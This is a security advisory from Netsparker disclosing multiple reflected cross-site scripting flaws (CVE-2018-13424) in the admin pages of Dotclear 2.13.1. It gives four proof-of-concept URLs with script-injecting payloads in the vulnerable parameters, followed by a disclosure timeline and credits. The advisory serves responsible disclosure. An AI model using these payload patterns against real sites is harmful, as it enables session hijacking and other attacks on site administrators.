Information
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Advisory by Netsparker
Name: Multiple XSS in Dotclear 2.13.1
Affected Software: Dotclear
Affected Versions: 2.13.1
Homepage: https://dotclear.org
Vulnerability: Multiple Reflected XSS
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13424
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-006

Technical Details
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URL :/admin/blogs.php?q=&nb=30&status=1&sortby=blog_upddt&order=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x007BE4)%3C/scRipt%3E
Parameter Name : order
Parameter Type : GET
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x007BE4)</scRipt>

URL : /admin/popup_posts.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x006B38)%3C/scRipt%3E
Parameter Name : Query Based
Parameter Type : Query String
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x006B38)</scRipt>

URL : /admin/blogs.php?status=&sortby=blog_upddt&order=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x010259)%3C/scRipt%3E&page=1&nb=30&blogs%5B0%5D=default
Parameter Name : order
Parameter Type :GET
Attack Patern : '"--></style></scRipt><scRipt>netsparker(0x010259)</scRipt>

URL : /admin/popup_posts.php?q=&plugin_id=&type=&page=2&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x0072FD)%3C/scRipt%3E=nsextt
Parameter Name : nsparamname
Parameter Type : GET
Attack patern : '"--></style></scRipt><scRipt>netsparker(0x0072FD)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28 March 2018- First Contact
13th August 2018 - Vendor Fixed
29th August 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.